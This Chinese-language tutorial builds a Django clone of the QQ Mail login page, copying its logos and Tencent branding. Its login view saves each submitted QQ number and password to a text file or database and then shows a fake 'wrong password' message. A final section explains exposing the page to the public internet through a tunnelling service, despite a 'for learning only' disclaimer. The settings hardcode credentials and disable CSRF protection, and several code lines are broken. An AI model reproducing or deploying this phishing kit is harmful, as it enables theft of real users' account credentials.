一:可以学到的知识点:
1,django+前端+Python+MySQL+内网穿透
二:项目过程:
1,创建django项目工程: django-admin startproje web_project
2,进入manage.py文件下执行Python manage.py startapp user
3,完成搭建之后进行stting.py的配置如下
"""
Django settings for qq_project project.
Generated by 'django-admin startproject' using Django 2.0.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'm=)r1b_6a9=i^)$av!)jk-9mu+0kg&^n-uv&i4_h5(t7x$9x9j'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'user',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
#'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'web_project.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'web_project.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'sunck',
'USER': 'root',
'PASSWORD':'root',
}
}
# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR,'templates'),
]
4:如果有MySQL的基础可以创建数据库,将文件中的用户名密码改成自己的数据库名称.
5:创建数据表(没有数据库基础的可以忽略此步骤,后面我们可以将数据保存到TXT文件中) models.py文件如下
from django.db import models
# Create your models here.
class name(models.Model):
id = models.AutoField(primary_key=True)
user = models.CharField('用户名',max_length=50)
pas = models.CharField('密码',max_length=50)
class Mete:
db_table='qq'
verbose_name='数据'
verbose_name_plural=verbose_name
def __self__(self):
return self.user,self.pas
6:配置路由: urls.py文件如下
from django.contrib import admin
from django.urls import path
from user.views import *
urlpatterns = [
path('admin/', admin.site.urls),
path('',index),
path('login/',login),
]
7:我们主要仿制QQ邮箱页面,所以我们主要设计的模板仿QQ邮箱来制作
在这里说几点:
制作的模板是一个post的请求,用户输入用户名和密码提交到服务器可以将数据保存到TXT文件或者MySQL数据库中.
所以我们设计思维模板如下:
!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>登录QQ邮箱</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<style type="text/css">
*{
margin: 0;
padding: 0;
}
.container
{
min-height: 500px;
}
.header{
width: 100%;
height: 62px;
background: #eff4fa;
border-bottom: 1px solid #d6dfea;
}
.header img{
width: 182px;
height: 35px;
margin-top: 14px;
margin-left: 40px;
float: left;
}
.header_link{
padding-top: 16px;
padding-right: 40px;
line-height: 30px;
font-size: 12px;
text-align: right;
color: #b6b6b6;
}
.header_link a{
line-height: 30px;
color:#1d5494;
text-decoration: none;
}
.header_link a:hover{
text-decoration: underline;
}
.content{
width: 960px;
margin: 32px auto;
padding: 0 24px;
overflow: hidden;
}
.c_text{
margin-right: 0px;
margin-left: 25px;
margin-bottom: 60px;
padding-top: 65px;
float: left;
height: 400px;
width: 520px;
position: relative;
font-family: "lucida Grande",Verdana,"Microsoft YaHei";
background-image: url("https://rescdn.qqmail.com/zh_CN/htmledition/images/tg-mail20f1b0.gif");
background-repeat: no-repeat;
background-position: right 140px;
}
.c_text h1{
line-height: 26px;
margin-top: 15px;
margin-bottom: 15px;
font-size: 24px;
font-weight: normal;
color: #6f95c8;
}
.c_text p{
margin: 0;
font-size: 14px;
font-weight: normal;
line-height: 24px;
}
.c_card{
width: 334px;
height: 387px;
float: right;
margin-right: 20px;
margin-top: 40px;
visibility: visible;
border: 1px solid #a0b1c4;
border-radius: 5px;
}
.card_top{
height:50px;
border-bottom: 1px solid #a0b1c4;
background: #f9fbfe;
}
.card_top li{
float: left;
display: block;
width: 167px;
list-style-type: none;
font-size: 16px;
color: #999;
text-align: center;
line-height: 50px;
font-family: "lucida Grande",Verdana,"Microsoft YaHei";
cursor: pointer;
}
.password{
margin-left: 26px;
margin-bottom: 10px;
display: block;
font-size: 14px;
font-family: "lucida Grande",Verdana,"Microsoft YaHei";
height: 36px;
width: 280px;
}
.acount{
margin-top: 36px;
margin-left: 26px;
margin-bottom: 10px;
display: block;
font-size: 14px;
font-family: "lucida Grande",Verdana,"Microsoft YaHei";
height: 36px;
width: 280px;
}
.checkbox{
float: left;
margin-top: 12px;
margin-left: 26px;
height: 20px;
width: 20px;
}
.c_card p{
float: left;
margin-top: 12px;
font-size: 12px;
}
.submit{
margin-left: 26px;
margin-top: 16px;
width: 284px;
height: 40px;
border: 1px solid cornflowerblue;
background-color: #5a98de;
border-radius: 3px;
font: 18px "lucida Grande",Verdana,"Microsoft YaHei";
color:white;
cursor: pointer;
}
.c_card a{
line-height: 36px;
color: #225592;
text-decoration: none;
}
.c_card a:hover{
text-decoration: underline;
}
.quick{
float:right;
padding-top: 15px;
margin-right: 122px;
font-size: 14px;
}
.forget{
float: left;
margin-top: 49px;
margin-left: 26px;
font-size: 12px;
}
.new{
float: right;
margin-top: 18px;
margin-right: 26px;
font-size: 12px;
}
.footer
{
position: fixed;
left: 0;
right: 0;
bottom: 0;
height: 36px;
font-size: 12px;
text-align: center;
background: #eff4fa;
border-top:1px solid #d6dfea;
font-family: "lucida Grande",Verdana,"Microsoft YaHei";
}
.footer a{
line-height: 36px;
color: #1d5494;
text-decoration: none;
}
.footer a:hover{
text-decoration: underline;
}
.footer span{
color: #868686;
}
</style>
<body>
<div class="container">
<div class="header">
<img src="https://rescdn.qqmail.com/zh_CN/htmledition/images/webp/logo/qqmail/qqmail_logo_default_35h206ff1.png">
<div class="header_link">
<a href="#">基本版</a>
|
<a href="#">English</a>
|
<a href="#">手机版</a>
|
<a href="#">企业邮箱</a>
</div>
</div>
<div class="content">
<div class="c_text">
<h1>QQ邮箱,常联系!</h1>
<p>1987年9月14日21时07分</p>
<p>中国第一封电子邮件</p>
<p>从北京发往德国</p>
<p>“越过长城,走向世界”</p>
</div>
<div class="c_card">
<ul class="card_top">
<li>微信登录</li>
<li>QQ登录</li>
</ul>
<form method="post" action="login/">
<input class="acount" type="text" name="u" placeholder=" 支持QQ号/邮箱/手机号登录"/>
<input class="password" type="password" name="p" placeholder=" QQ密码"/>
<input class="checkbox" type="checkbox"/><p>下次自动登录</p>
<a href="login/"><button class="submit" >登 录</button></a><br>
</form>
<a class="quick" href="#">扫码快捷登陆</a><br>
<a class="forget" href="#">忘了密码?</a>
<a class="new" href="#">注册新账号</a>
</div>
</div>
<div class="footer">
<a href="#">关于腾讯</a> |
<a href="#">服务条款</a> |
<a href="#">隐私政策</a> |
<a href="#">客服中心</a> |
<a href="#">联系我们</a> |
<a href="#">帮助中心</a> |
<span>©1998 - 2020 Tencent Inc. All Rights Reserved.</span>
</div>
</div>
</body>
</html>
8:从HTML文件中我们可以知道表单为post提交方式,其中用户名为name='u' 密码为name = 'p',所以我们来写views视图如下:
def index(request):
return render(request, 'login.html')
def login(request):
user = request.POST.get('u')
pas = request.POST.get('p')
print(user,pas)
print("正在桌面创建文件夹")
f = open("H:\仿制网站\web_project\QQ号密码.txt",'a')
f.write("这次提交的QQ账号为:" + user)
f.write("这次提交的QQ密码为:" + pas)
f.write('\n')
f.write('\n')
return HttpResponse('密码错误请重新输入!')
这种方式是将服务器获取的用户名和密码存到TXT文件中,下面的这种方法将获取来的数据存到数据库:
u = request.POST.get('u')
p = request.POST.get('p)
models.Question.objects.create(
u = u,
p = p,
)
info_list = models.name.objects.all()
9:最后一步Python manage.py runserver
10:我们来看看效果如何
三:发布
由于将自己制作的网站发布到外网需要服务器和域名,不是免费的,也不适合小白练手,所以我们用到内网穿透将可以在局域网访问的东西发布在外网,在外网也可以访问.
所以我们用到花生壳软件.安装可以百度,还有django如何局域网访问也可以百度,这里将不再讲解.
下面主要流程:
django局域网可以访问<<安装花生壳内网穿透<<进行配置<<外网可以访问
本学习只是用作学习交流,不做其他用途.